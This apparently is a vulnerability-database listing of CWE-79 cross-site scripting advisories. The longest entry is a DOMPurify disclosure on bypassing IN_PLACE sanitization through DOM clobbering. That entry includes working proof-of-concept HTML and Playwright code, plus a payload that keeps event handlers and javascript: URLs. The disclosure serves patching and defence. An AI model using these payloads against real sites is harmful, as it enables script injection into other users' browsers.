CWE-79
AllowedImproper Neutralization of Input During Web Page Generation ('Cross-site Scripting')
Abstraction: Base · Status: Stable
The product does not neutralize or incorrectly neutralizes user-controllable input before it is placed in output that is used as a web page that is served to other users.
67340 vulnerabilities reference this CWE, most recent first.
GHSA-R466-2P52-M3R8
Vulnerability from github – Published: 2024-10-06 12:30 – Updated: 2026-04-01 18:32Improper Neutralization of Input During Web Page Generation (XSS or 'Cross-site Scripting') vulnerability in Essential Plugin Meta slider and carousel with lightbox allows Stored XSS.This issue affects Meta slider and carousel with lightbox: from n/a through 2.0.1.
{
"affected": [],
"aliases": [
"CVE-2024-47307"
],
"database_specific": {
"cwe_ids": [
"CWE-79"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2024-10-06T12:15:06Z",
"severity": "MODERATE"
},
"details": "Improper Neutralization of Input During Web Page Generation (XSS or \u0027Cross-site Scripting\u0027) vulnerability in Essential Plugin Meta slider and carousel with lightbox allows Stored XSS.This issue affects Meta slider and carousel with lightbox: from n/a through 2.0.1.",
"id": "GHSA-r466-2p52-m3r8",
"modified": "2026-04-01T18:32:00Z",
"published": "2024-10-06T12:30:48Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2024-47307"
},
{
"type": "WEB",
"url": "https://patchstack.com/database/Wordpress/Plugin/meta-slider-and-carousel-with-lightbox/vulnerability/wordpress-meta-slider-and-carousel-with-lightbox-plugin-2-0-1-cross-site-scripting-xss-vulnerability?_s_id=cve"
},
{
"type": "WEB",
"url": "https://patchstack.com/database/vulnerability/meta-slider-and-carousel-with-lightbox/wordpress-meta-slider-and-carousel-with-lightbox-plugin-2-0-1-cross-site-scripting-xss-vulnerability?_s_id=cve"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:L/I:L/A:L",
"type": "CVSS_V3"
}
]
}
GHSA-R46W-CF8C-5V8W
Vulnerability from github – Published: 2024-06-21 15:31 – Updated: 2024-06-21 15:31Improper Neutralization of Input During Web Page Generation (XSS or 'Cross-site Scripting') vulnerability in Theme Freesia Excellent allows Stored XSS.This issue affects Excellent: from n/a through 1.2.9.
{
"affected": [],
"aliases": [
"CVE-2024-35763"
],
"database_specific": {
"cwe_ids": [
"CWE-79"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2024-06-21T13:15:10Z",
"severity": "MODERATE"
},
"details": "Improper Neutralization of Input During Web Page Generation (XSS or \u0027Cross-site Scripting\u0027) vulnerability in Theme Freesia Excellent allows Stored XSS.This issue affects Excellent: from n/a through 1.2.9.",
"id": "GHSA-r46w-cf8c-5v8w",
"modified": "2024-06-21T15:31:06Z",
"published": "2024-06-21T15:31:06Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2024-35763"
},
{
"type": "WEB",
"url": "https://patchstack.com/database/vulnerability/excellent/wordpress-excellent-theme-1-2-9-cross-site-scripting-xss-vulnerability?_s_id=cve"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:L/I:L/A:L",
"type": "CVSS_V3"
}
]
}
GHSA-R473-VWGJ-9GHG
Vulnerability from github – Published: 2025-06-11 00:30 – Updated: 2025-06-11 00:30Adobe Experience Manager versions 6.5.22 and earlier are affected by a stored Cross-Site Scripting (XSS) vulnerability that could be abused by a low privileged attacker to inject malicious scripts into vulnerable form fields. Malicious JavaScript may be executed in a victim’s browser when they browse to the page containing the vulnerable field.
{
"affected": [],
"aliases": [
"CVE-2025-47066"
],
"database_specific": {
"cwe_ids": [
"CWE-79"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2025-06-10T23:15:52Z",
"severity": "MODERATE"
},
"details": "Adobe Experience Manager versions 6.5.22 and earlier are affected by a stored Cross-Site Scripting (XSS) vulnerability that could be abused by a low privileged attacker to inject malicious scripts into vulnerable form fields. Malicious JavaScript may be executed in a victim\u2019s browser when they browse to the page containing the vulnerable field.",
"id": "GHSA-r473-vwgj-9ghg",
"modified": "2025-06-11T00:30:44Z",
"published": "2025-06-11T00:30:44Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2025-47066"
},
{
"type": "WEB",
"url": "https://helpx.adobe.com/security/products/experience-manager/apsb25-48.html"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:L/I:L/A:N",
"type": "CVSS_V3"
}
]
}
GHSA-R47G-FVHR-H676
Vulnerability from github – Published: 2026-06-15 19:53 – Updated: 2026-06-15 19:53IN_PLACE mode preserves attributes of a clobbered root element, allowing XSS via attacker-controlled root DOM
CWE: CWE-79 (XSS — Improper Neutralization of Input During Web Page Generation) via CWE-693 (Protection Mechanism Failure — silent no-op when _forceRemove is called on a parent-less node)
Summary
When DOMPurify.sanitize(root, { IN_PLACE: true }) is called and root is a <form> whose own attributes carry an event handler (onmouseover, onfocus, onclick, etc.), a single descendant element with a name= attribute matching any of the property names _isClobbered checks (nodeName, setAttribute, namespaceURI, insertBefore, hasChildNodes, childNodes) is sufficient to bypass attribute sanitization on the root. _forceRemove silently no-ops because the root has no parent; the iterator drives on to _sanitizeAttributes, which early-returns on clobbered nodes — and the event handler attribute is never inspected. The sanitized return is the same root, with the handler live.
This affects current main at 89da34e (the just-landed DOM-clobbering hardening fix at 89da34e addressed _sanitizeAttachedShadowRoots walk traversal, not the main _sanitizeElements / _sanitizeAttributes pipeline against the iterator-root node).
Affected
- DOMPurify ≤ 3.4.5, including
mainat89da34e03ec17868e561f87f3747a9371b61a9e7 - Any caller that does
DOMPurify.sanitize(node, { IN_PLACE: true })wherenodeis built from untrusted HTML (e.g., parsed viacreateElement('template').innerHTML = dirtythentemplate.content.firstElementChildhanded in)
Not affected:
- String-input DOMPurify.sanitize(dirtyString) — the library builds the DOM itself inside _initDocument, the root is the cleanly-created document body, and clobber-named children of the body cannot shadow body named properties (HTMLBodyElement does not carry [LegacyOverrideBuiltIns])
- IN_PLACE where the root is not an HTMLFormElement
- IN_PLACE where the attacker cannot place a clobber-named child inside the root
Vulnerability details
Code paths
[A] — _forceRemove at src/purify.ts:930-939:
const _forceRemove = function (node: Node): void {
arrayPush(DOMPurify.removed, { element: node });
try {
// eslint-disable-next-line unicorn/prefer-dom-node-remove
getParentNode(node).removeChild(node); // [A1] throws when getParentNode returns null
} catch (_) {
remove(node); // [A2] WebIDL Node.remove() — spec-defined no-op
} // when the node has no parent
};
When the iterator-root has no parent (the standard IN_PLACE case where the caller hands in a detached node), getParentNode(node) returns null, null.removeChild(node) throws, the catch falls to remove(node) — which per WebIDL is Element.prototype.remove.call(node), and per spec does nothing if the node has no parent. Nothing about _forceRemove's contract acknowledges this — the function appears to its callers as "the node is gone now," but the node is still in place.
[B] — _sanitizeAttributes at src/purify.ts:1490-1492:
const _sanitizeAttributes = function (currentNode: Element): void {
_executeHooks(hooks.beforeSanitizeAttributes, currentNode, null);
const { attributes } = currentNode;
/* Check if we have attributes; if not we might have a text node */
if (!attributes || _isClobbered(currentNode)) {
return; // [B] silently skips ALL attribute checks
} // for clobbered nodes
...
};
The skip at [B] is deliberate — the intent is to avoid touching nodes the library has already decided to discard. The invariant the comment implies is "if _isClobbered, then _sanitizeElements already removed this node, so we will never reach _sanitizeAttributes on it." That invariant holds for every non-root node (their _forceRemove succeeds in detaching them), but fails for the iterator root in IN_PLACE mode.
The mismatch is between [A] and [B]: [A] assumes "removal" means the node will not be observed again, and [B] assumes any clobbered node it sees has already been removed. Neither holds for the iterator root. A correct guard would either make _forceRemove fail loudly on parent-less nodes (so the caller can bail out of IN_PLACE entirely) or have _sanitizeAttributes strip attributes from clobbered roots before returning.
Iterator call site
src/purify.ts:1850-1864 ignores the boolean return value of _sanitizeElements:
const nodeIterator = _createNodeIterator(IN_PLACE ? dirty : body);
while ((currentNode = nodeIterator.nextNode())) {
_sanitizeElements(currentNode); // returns `true` if killed — IGNORED
_sanitizeAttributes(currentNode); // runs unconditionally; relies on [B]'s skip
...
}
If the return value were checked and _sanitizeAttributes skipped when the node was "killed," the bug would not exist as a discrete issue — but currently _sanitizeAttributes is the only line of defense for a node that _sanitizeElements could not actually detach.
Why the clobber works
In Chromium/WebKit/Firefox, HTMLFormElement carries the WebIDL [LegacyOverrideBuiltIns] extended attribute on its named-property getter. A descendant element with name="X" (or id="X", for radio-button-like names) shadows the matching property on the form, including properties inherited from Element, Node, and EventTarget prototypes. This is the same primitive the just-landed 89da34e fix addresses for shadow-root traversal, but _isClobbered's typeof checks (and the bypass-by-detection-failure path here) are independent of that fix.
Verified clobber targets (each name= value independently triggers _isClobbered):
name= value |
property _isClobbered checks |
typeof on clobbered form |
|---|---|---|
nodeName |
typeof element.nodeName !== 'string' |
object (an <INPUT>) |
setAttribute |
typeof element.setAttribute !== 'function' |
object (not callable) — but <embed>/<applet>/<iframe> ARE callable; see "Note on callable elements" below |
namespaceURI |
typeof element.namespaceURI !== 'string' |
object |
insertBefore |
typeof element.insertBefore !== 'function' |
object |
hasChildNodes |
typeof element.hasChildNodes !== 'function' |
object |
childNodes |
!(element.childNodes && typeof element.childNodes.length === 'number') |
object — <INPUT> has no .length |
attributes |
!(element.attributes instanceof NamedNodeMap) |
object (an <INPUT> is not a NamedNodeMap) |
textContent |
typeof element.textContent !== 'string' |
object |
removeChild |
typeof element.removeChild !== 'function' |
object (non-callable) |
removeAttribute |
typeof element.removeAttribute !== 'function' |
object (non-callable) |
Any single one of the ten property names in _isClobbered's checklist is sufficient as the bypass trigger.
Proof of concept
(1) Minimal — runnable in a single browser context
<!doctype html>
<html><body>
<script src="dist/purify.js"></script>
<script>
const root = document.createElement('form');
root.setAttribute('onmouseover', 'window.__rooted = 1');
const clobber = document.createElement('input');
clobber.setAttribute('name', 'nodeName');
root.appendChild(clobber);
// typeof root.nodeName === 'object' (an <INPUT> element), not 'string'.
// _isClobbered fires; _forceRemove(root) becomes a no-op because root.parentNode === null.
DOMPurify.sanitize(root, { IN_PLACE: true });
console.log('output:', root.outerHTML);
// <form onmouseover="window.__rooted = 1"><input name="nodeName"></form>
// ^^^^^^^^^^^^^^^^^^ event handler survived ^^^^^^^^^^^^^^^^^^
document.body.appendChild(root);
root.dispatchEvent(new MouseEvent('mouseover', { bubbles: true }));
console.log('handler fired:', window.__rooted === 1); // true
</script>
</body></html>
(2) End-to-end — Playwright against main HEAD
const { chromium } = require('playwright');
const path = require('path');
(async () => {
const browser = await chromium.launch();
const page = await browser.newPage();
await page.setContent('<!doctype html><html><body></body></html>');
await page.addScriptTag({ path: path.resolve('dist/purify.js') });
const result = await page.evaluate(() => {
const root = document.createElement('form');
root.setAttribute('onmouseover', 'window.__rooted = 1');
const clobber = document.createElement('input');
clobber.setAttribute('name', 'nodeName');
root.appendChild(clobber);
DOMPurify.sanitize(root, { IN_PLACE: true });
document.body.appendChild(root);
window.__rooted = 0;
root.dispatchEvent(new MouseEvent('mouseover', { bubbles: true }));
return {
version: DOMPurify.version,
output: root.outerHTML,
handlerFired: window.__rooted === 1,
};
});
console.log(result);
await browser.close();
})();
Observed (Chromium 148.0.7778.96, DOMPurify 3.4.5, HEAD 89da34e):
{
version: '3.4.5',
output: '<form onmouseover="window.__rooted = 1"><input name="nodeName"></form>',
handlerFired: true
}
(3) Variant matrix — six distinct clobber-target properties
Every property name in _isClobbered's typeof checklist works as the bypass trigger:
[BYPASS] name="nodeName" → <form onmouseover="…"><input></form>
[BYPASS] name="setAttribute" → <form onmouseover="…"><input></form>
[BYPASS] name="namespaceURI" → <form onmouseover="…"><input></form>
[BYPASS] name="insertBefore" → <form onmouseover="…"><input></form>
[BYPASS] name="hasChildNodes" → <form onmouseover="…"><input></form>
[BYPASS] name="childNodes" → <form onmouseover="…"><input></form>
This makes the fix less of a one-line patch — every property _isClobbered checks for the typeof-spoofing pattern needs to be considered.
Impact
Direct
Two distinct impact paths from the same root-attribute-survival primitive:
(a) XSS via event-handler attribute on the surviving root. Any consumer that uses DOMPurify.sanitize(node, { IN_PLACE: true }) where node originated from untrusted HTML and is re-inserted into the live document is vulnerable to XSS. The typical pattern is:
const t = document.createElement('template');
t.innerHTML = untrustedHtml;
DOMPurify.sanitize(t.content.firstElementChild, { IN_PLACE: true });
container.appendChild(t.content.firstElementChild);
If untrustedHtml is <form onmouseover=…><input name=nodeName>…</form>, the resulting node has the onmouseover attribute intact when re-inserted into the live document.
(b) Every attribute-level defense is bypassed on the surviving root, not just event handlers. The _sanitizeAttributes early-return at :1490 skips the entire attribute walk for clobbered nodes, so the root preserves attributes that the attribute walk would otherwise sanitize. Verified additional attributes that survive:
action="javascript:..."andformaction="javascript:..."— URI validation at:1413never runs. A user click on a submit button inside the sanitized form navigates to thejavascript:URL, executing the handler. Adds a click-triggered XSS path on top of the mouseover/focus event-handler attributes already documented.id="<colliding-name>"— the DOM-clobbering guard at:1352-1359(SANITIZE_DOM && (lcName === 'id' || lcName === 'name') && (value in document || value in formElement)) lives inside_sanitizeAttributesand is skipped. An attacker can therefore landid="cookie",id="body",id="head",id="firstChild", etc. on the surviving form root and use it as a DOM-clobbering primitive against any consumer code that doesdocument.cookie,document.body, etc.target="_top",autofocus,formenctype,formmethod— all survive untouched.- Custom event handlers DOMPurify wouldn't have explicit list entries for (e.g., newly-spec'd
oncontentvisibilityautostatechange) survive on the clobbered root via the same skip; the per-name allow-list at:1361-1364never runs.
Verified — full attribute set survives on a single payload (PoC):
const root = document.createElement('form');
root.setAttribute('action', 'javascript:alert(1)');
root.setAttribute('target', '_top');
root.setAttribute('onclick', 'alert(2)');
root.setAttribute('onmouseover', 'alert(3)');
root.setAttribute('autofocus', '');
root.setAttribute('formaction', 'javascript:alert(4)');
root.setAttribute('id', 'cookie'); // DOM-clobbering primitive
root.innerHTML += '<input name="nodeName">';
DOMPurify.sanitize(root, { IN_PLACE: true });
console.log(root.outerHTML);
// <form action="javascript:alert(1)" target="_top" onclick="alert(2)"
// onmouseover="alert(3)" autofocus="" formaction="javascript:alert(4)"
// id="cookie"><input></form>
(c) Defense-in-depth re-sanitization on the same node is INEFFECTIVE — the clobber is sticky. Chromium's HTMLFormElement named-property cache appears to retain the named child reference even after the child's name attribute is removed during the sanitization pass. Empirically verified — after the first sanitize pass, the input's name="nodeName" attribute is correctly stripped (the output shows <input> with no attributes), yet typeof form.nodeName === 'object' is still true and the input element is still returned. Calling DOMPurify.sanitize(sameNode, { IN_PLACE: true }) a second time hits the same _isClobbered → _forceRemove → _sanitizeAttributes early-return path. The only effective recovery is serialize-then-reparse:
const root = parseAttackerHtml(); // form with input name="nodeName" child
DOMPurify.sanitize(root, { IN_PLACE: true }); // bypass: attrs survive
DOMPurify.sanitize(root, { IN_PLACE: true }); // STILL bypassed: attrs survive
const recovered = (() => {
const t = document.createElement('template');
t.innerHTML = root.outerHTML; // forces a fresh parse
const r = t.content.firstElementChild;
DOMPurify.sanitize(r, { IN_PLACE: true });
return r;
})();
// recovered.outerHTML === '<form><input></form>' ← finally clean
A "belt-and-suspenders" caller that re-runs DOMPurify on its own output is therefore not protected against this primitive on Chromium; the obvious mitigation pattern fails silently. Any user-side workaround needs to route through a string round-trip.
(d) SAFE_FOR_TEMPLATES bypass for the root's attributes. When the caller sets SAFE_FOR_TEMPLATES: true to defend a downstream template engine (Vue, Angular, Liquid, Handlebars, …) from receiving {{…}} / <%…%> / ${…} syntax through DOMPurify's output, attribute-level template-syntax stripping runs in the same _sanitizeAttributes pass that early-returns on clobbered roots (:1572-1576). The root's attributes therefore retain raw template syntax that the downstream engine then evaluates.
Verified — same PoC structure, with SAFE_FOR_TEMPLATES: true:
const root = document.createElement('form');
root.setAttribute('title', '{{evil}}');
root.setAttribute('onmouseover', 'window.__x=1');
const c = document.createElement('input');
c.setAttribute('name', 'nodeName');
root.appendChild(c);
DOMPurify.sanitize(root, { IN_PLACE: true, SAFE_FOR_TEMPLATES: true });
console.log(root.outerHTML);
// <form title="{{evil}}" onmouseover="window.__x=1"><input></form>
// ^^^^^^^^^^^^^^^^ template syntax survives
This compounds with (a): a single payload exfiltrates via XSS (immediate) and via SSTI to downstream renderers (delayed).
(Text-node content inside the form is still scrubbed correctly — _scrubTemplateExpressions at :1868-1870 walks text/comment/CDATA/PI nodes independently and reaches them via the iterator. Only attribute values on the clobbered root escape.)
Indirect / second-order
- DOM-based template systems / editors that wrap DOMPurify with an IN_PLACE call for parsed user content (CMSes, comment widgets, WYSIWYG editors persisting structured HTML).
- Email/HTML preview libraries that pre-parse received HTML before sanitization for performance reasons.
- Frameworks that hand DOMPurify a node tree rather than a string — including, indirectly, any code path that does
el.innerHTML = …; DOMPurify.sanitize(el, { IN_PLACE: true }). The outerelis fine (it's not the form), but if the first child ofelis taken as the sanitization root in a different code path, the bypass triggers.
Why current main is also vulnerable
Commit 89da34e ("fix: fixed a possible DOM clobbering with IN_PLACE and shadow DOM") hardens _sanitizeAttachedShadowRoots via three new cached prototype getters (getShadowRoot, getNodeName, getNodeType) and an _isClobbered extension that checks element.childNodes.length. The fix is correct for its scope — shadow-root traversal — but does not change _forceRemove's parent-less-node behavior or _sanitizeAttributes's clobber-skip early-return. The bypass demonstrated here is in the IN_PLACE main pipeline, not the shadow-root walk, and the verification PoC above runs against HEAD 89da34e and still succeeds.
Suggested fix
Two minimal-risk options:
- Make
_forceRemovehonest about failure: return whether the node was actually detached, and have the iterator call site honor that.
ts
const _forceRemove = function (node: Node): boolean {
arrayPush(DOMPurify.removed, { element: node });
try {
getParentNode(node).removeChild(node);
return true;
} catch (_) {
try { remove(node); } catch (_) {}
return node.parentNode === null && /* but still attached to itself */ false;
}
};
Then at :1855, if _sanitizeElements returns true AND IN_PLACE, force-strip all attributes of the root before returning the dirty tree. (This is what the user expects — sanitization either succeeds or refuses to return a "sanitized" handle to an unsanitized tree.)
-
Strip attributes inside
_sanitizeAttributesfor clobbered roots: when_isClobbered(currentNode)is true at:1490, instead of early-returning, iteratecurrentNode.attributes(using the cachedgetAttributesif you add one) and remove each viaremoveAttribute. This preserves the existing semantics for non-root clobbered nodes (their attributes-of-a-removed-node will be GC'd anyway) and removes the attack surface for root. -
Refuse IN_PLACE on parent-less clobbered roots: at the top of the iterator, check that the root either has a parent OR is not
_isClobbered. If both fail, throw. This is the most defensive option but breaks any existing caller that hands in a clobbered detached root expecting "sanitized = empty/safe."
Note on callable elements
In Chromium and WebKit, HTMLEmbedElement, HTMLAppletElement, HTMLIFrameElement, and HTMLScriptElement have typeof === 'function' because they expose plugin/iframe [[Call]] traps at the WebIDL level. A name="setAttribute" child of one of these tags spoofs the setAttribute typeof === 'function' check — but only matters for the attribute re-set path at :1619, not the bypass demonstrated here (which uses nodeName and friends). The callable-element vector is worth checking separately as a potential SAFE_FOR_TEMPLATES-bypass primitive; the present report does not depend on it.
{
"affected": [
{
"database_specific": {
"last_known_affected_version_range": "\u003c= 3.4.5"
},
"package": {
"ecosystem": "npm",
"name": "dompurify"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "3.4.6"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2026-49459"
],
"database_specific": {
"cwe_ids": [
"CWE-1321",
"CWE-693",
"CWE-79"
],
"github_reviewed": true,
"github_reviewed_at": "2026-06-15T19:53:05Z",
"nvd_published_at": null,
"severity": "MODERATE"
},
"details": "# IN_PLACE mode preserves attributes of a clobbered root element, allowing XSS via attacker-controlled root DOM\n\n**CWE**: CWE-79 (XSS \u2014 Improper Neutralization of Input During Web Page Generation) via CWE-693 (Protection Mechanism Failure \u2014 silent no-op when `_forceRemove` is called on a parent-less node)\n\n## Summary\n\nWhen `DOMPurify.sanitize(root, { IN_PLACE: true })` is called and `root` is a `\u003cform\u003e` whose own attributes carry an event handler (`onmouseover`, `onfocus`, `onclick`, etc.), a single descendant element with a `name=` attribute matching any of the property names `_isClobbered` checks (`nodeName`, `setAttribute`, `namespaceURI`, `insertBefore`, `hasChildNodes`, `childNodes`) is sufficient to bypass attribute sanitization on the root. `_forceRemove` silently no-ops because the root has no parent; the iterator drives on to `_sanitizeAttributes`, which early-returns on clobbered nodes \u2014 and the event handler attribute is never inspected. The sanitized return is the same root, with the handler live.\n\nThis affects current `main` at `89da34e` (the just-landed DOM-clobbering hardening fix at `89da34e` addressed `_sanitizeAttachedShadowRoots` walk traversal, **not** the main `_sanitizeElements` / `_sanitizeAttributes` pipeline against the iterator-root node).\n\n## Affected\n\n- DOMPurify \u2264 3.4.5, including `main` at `89da34e03ec17868e561f87f3747a9371b61a9e7`\n- Any caller that does `DOMPurify.sanitize(node, { IN_PLACE: true })` where `node` is built from untrusted HTML (e.g., parsed via `createElement(\u0027template\u0027).innerHTML = dirty` then `template.content.firstElementChild` handed in)\n\nNot affected:\n- String-input `DOMPurify.sanitize(dirtyString)` \u2014 the library builds the DOM itself inside `_initDocument`, the root is the cleanly-created document body, and clobber-named children of the body cannot shadow `body` named properties (HTMLBodyElement does not carry `[LegacyOverrideBuiltIns]`)\n- IN_PLACE where the root is not an HTMLFormElement\n- IN_PLACE where the attacker cannot place a clobber-named child inside the root\n\n## Vulnerability details\n\n### Code paths\n\n**[A]** \u2014 `_forceRemove` at `src/purify.ts:930-939`:\n\n```ts\nconst _forceRemove = function (node: Node): void {\n arrayPush(DOMPurify.removed, { element: node });\n try {\n // eslint-disable-next-line unicorn/prefer-dom-node-remove\n getParentNode(node).removeChild(node); // [A1] throws when getParentNode returns null\n } catch (_) {\n remove(node); // [A2] WebIDL Node.remove() \u2014 spec-defined no-op\n } // when the node has no parent\n};\n```\n\nWhen the iterator-root has no parent (the standard IN_PLACE case where the caller hands in a detached node), `getParentNode(node)` returns `null`, `null.removeChild(node)` throws, the catch falls to `remove(node)` \u2014 which per WebIDL is `Element.prototype.remove.call(node)`, and per spec **does nothing if the node has no parent**. Nothing about `_forceRemove`\u0027s contract acknowledges this \u2014 the function appears to its callers as \"the node is gone now,\" but the node is still in place.\n\n**[B]** \u2014 `_sanitizeAttributes` at `src/purify.ts:1490-1492`:\n\n```ts\nconst _sanitizeAttributes = function (currentNode: Element): void {\n _executeHooks(hooks.beforeSanitizeAttributes, currentNode, null);\n\n const { attributes } = currentNode;\n\n /* Check if we have attributes; if not we might have a text node */\n if (!attributes || _isClobbered(currentNode)) {\n return; // [B] silently skips ALL attribute checks\n } // for clobbered nodes\n ...\n};\n```\n\nThe skip at `[B]` is deliberate \u2014 the intent is to avoid touching nodes the library has already decided to discard. The invariant the comment implies is *\"if `_isClobbered`, then `_sanitizeElements` already removed this node, so we will never reach `_sanitizeAttributes` on it.\"* That invariant holds for every non-root node (their `_forceRemove` succeeds in detaching them), but fails for the iterator root in IN_PLACE mode.\n\n**The mismatch** is between [A] and [B]: [A] assumes \"removal\" means the node will not be observed again, and [B] assumes any clobbered node it sees has already been removed. Neither holds for the iterator root. A correct guard would either make `_forceRemove` fail loudly on parent-less nodes (so the caller can bail out of IN_PLACE entirely) or have `_sanitizeAttributes` strip attributes from clobbered roots before returning.\n\n### Iterator call site\n\n`src/purify.ts:1850-1864` ignores the boolean return value of `_sanitizeElements`:\n\n```ts\nconst nodeIterator = _createNodeIterator(IN_PLACE ? dirty : body);\n\nwhile ((currentNode = nodeIterator.nextNode())) {\n _sanitizeElements(currentNode); // returns `true` if killed \u2014 IGNORED\n _sanitizeAttributes(currentNode); // runs unconditionally; relies on [B]\u0027s skip\n ...\n}\n```\n\nIf the return value were checked and `_sanitizeAttributes` skipped when the node was \"killed,\" the bug would not exist as a discrete issue \u2014 but currently `_sanitizeAttributes` is the only line of defense for a node that `_sanitizeElements` could not actually detach.\n\n### Why the clobber works\n\nIn Chromium/WebKit/Firefox, `HTMLFormElement` carries the WebIDL `[LegacyOverrideBuiltIns]` extended attribute on its named-property getter. A descendant element with `name=\"X\"` (or `id=\"X\"`, for radio-button-like names) shadows the matching property on the form, including properties inherited from `Element`, `Node`, and `EventTarget` prototypes. This is the same primitive the just-landed `89da34e` fix addresses for shadow-root traversal, but `_isClobbered`\u0027s typeof checks (and the bypass-by-detection-failure path here) are independent of that fix.\n\nVerified clobber targets (each name= value independently triggers `_isClobbered`):\n\n| `name=` value | property `_isClobbered` checks | typeof on clobbered form |\n|---|---|---|\n| `nodeName` | `typeof element.nodeName !== \u0027string\u0027` | object (an `\u003cINPUT\u003e`) |\n| `setAttribute` | `typeof element.setAttribute !== \u0027function\u0027` | object (not callable) \u2014 *but* `\u003cembed\u003e`/`\u003capplet\u003e`/`\u003ciframe\u003e` ARE callable; see \"Note on callable elements\" below |\n| `namespaceURI` | `typeof element.namespaceURI !== \u0027string\u0027` | object |\n| `insertBefore` | `typeof element.insertBefore !== \u0027function\u0027` | object |\n| `hasChildNodes` | `typeof element.hasChildNodes !== \u0027function\u0027` | object |\n| `childNodes` | `!(element.childNodes \u0026\u0026 typeof element.childNodes.length === \u0027number\u0027)` | object \u2014 `\u003cINPUT\u003e` has no `.length` |\n| `attributes` | `!(element.attributes instanceof NamedNodeMap)` | object (an `\u003cINPUT\u003e` is not a NamedNodeMap) |\n| `textContent` | `typeof element.textContent !== \u0027string\u0027` | object |\n| `removeChild` | `typeof element.removeChild !== \u0027function\u0027` | object (non-callable) |\n| `removeAttribute` | `typeof element.removeAttribute !== \u0027function\u0027` | object (non-callable) |\n\nAny single one of the ten property names in `_isClobbered`\u0027s checklist is sufficient as the bypass trigger.\n\n## Proof of concept\n\n### (1) Minimal \u2014 runnable in a single browser context\n\n```html\n\u003c!doctype html\u003e\n\u003chtml\u003e\u003cbody\u003e\n\u003cscript src=\"dist/purify.js\"\u003e\u003c/script\u003e\n\u003cscript\u003e\n const root = document.createElement(\u0027form\u0027);\n root.setAttribute(\u0027onmouseover\u0027, \u0027window.__rooted = 1\u0027);\n const clobber = document.createElement(\u0027input\u0027);\n clobber.setAttribute(\u0027name\u0027, \u0027nodeName\u0027);\n root.appendChild(clobber);\n\n // typeof root.nodeName === \u0027object\u0027 (an \u003cINPUT\u003e element), not \u0027string\u0027.\n // _isClobbered fires; _forceRemove(root) becomes a no-op because root.parentNode === null.\n DOMPurify.sanitize(root, { IN_PLACE: true });\n\n console.log(\u0027output:\u0027, root.outerHTML);\n // \u003cform onmouseover=\"window.__rooted = 1\"\u003e\u003cinput name=\"nodeName\"\u003e\u003c/form\u003e\n // ^^^^^^^^^^^^^^^^^^ event handler survived ^^^^^^^^^^^^^^^^^^\n\n document.body.appendChild(root);\n root.dispatchEvent(new MouseEvent(\u0027mouseover\u0027, { bubbles: true }));\n console.log(\u0027handler fired:\u0027, window.__rooted === 1); // true\n\u003c/script\u003e\n\u003c/body\u003e\u003c/html\u003e\n```\n\n### (2) End-to-end \u2014 Playwright against `main` HEAD\n\n```js\nconst { chromium } = require(\u0027playwright\u0027);\nconst path = require(\u0027path\u0027);\n\n(async () =\u003e {\n const browser = await chromium.launch();\n const page = await browser.newPage();\n await page.setContent(\u0027\u003c!doctype html\u003e\u003chtml\u003e\u003cbody\u003e\u003c/body\u003e\u003c/html\u003e\u0027);\n await page.addScriptTag({ path: path.resolve(\u0027dist/purify.js\u0027) });\n\n const result = await page.evaluate(() =\u003e {\n const root = document.createElement(\u0027form\u0027);\n root.setAttribute(\u0027onmouseover\u0027, \u0027window.__rooted = 1\u0027);\n const clobber = document.createElement(\u0027input\u0027);\n clobber.setAttribute(\u0027name\u0027, \u0027nodeName\u0027);\n root.appendChild(clobber);\n\n DOMPurify.sanitize(root, { IN_PLACE: true });\n\n document.body.appendChild(root);\n window.__rooted = 0;\n root.dispatchEvent(new MouseEvent(\u0027mouseover\u0027, { bubbles: true }));\n\n return {\n version: DOMPurify.version,\n output: root.outerHTML,\n handlerFired: window.__rooted === 1,\n };\n });\n console.log(result);\n await browser.close();\n})();\n```\n\nObserved (Chromium 148.0.7778.96, DOMPurify 3.4.5, HEAD `89da34e`):\n\n```\n{\n version: \u00273.4.5\u0027,\n output: \u0027\u003cform onmouseover=\"window.__rooted = 1\"\u003e\u003cinput name=\"nodeName\"\u003e\u003c/form\u003e\u0027,\n handlerFired: true\n}\n```\n\n### (3) Variant matrix \u2014 six distinct clobber-target properties\n\nEvery property name in `_isClobbered`\u0027s typeof checklist works as the bypass trigger:\n\n```\n[BYPASS] name=\"nodeName\" \u2192 \u003cform onmouseover=\"\u2026\"\u003e\u003cinput\u003e\u003c/form\u003e\n[BYPASS] name=\"setAttribute\" \u2192 \u003cform onmouseover=\"\u2026\"\u003e\u003cinput\u003e\u003c/form\u003e\n[BYPASS] name=\"namespaceURI\" \u2192 \u003cform onmouseover=\"\u2026\"\u003e\u003cinput\u003e\u003c/form\u003e\n[BYPASS] name=\"insertBefore\" \u2192 \u003cform onmouseover=\"\u2026\"\u003e\u003cinput\u003e\u003c/form\u003e\n[BYPASS] name=\"hasChildNodes\" \u2192 \u003cform onmouseover=\"\u2026\"\u003e\u003cinput\u003e\u003c/form\u003e\n[BYPASS] name=\"childNodes\" \u2192 \u003cform onmouseover=\"\u2026\"\u003e\u003cinput\u003e\u003c/form\u003e\n```\n\nThis makes the fix less of a one-line patch \u2014 every property `_isClobbered` checks for the typeof-spoofing pattern needs to be considered.\n\n## Impact\n\n### Direct\n\nTwo distinct impact paths from the same root-attribute-survival primitive:\n\n**(a) XSS via event-handler attribute on the surviving root.** Any consumer that uses `DOMPurify.sanitize(node, { IN_PLACE: true })` where `node` originated from untrusted HTML and is re-inserted into the live document is vulnerable to XSS. The typical pattern is:\n\n```js\nconst t = document.createElement(\u0027template\u0027);\nt.innerHTML = 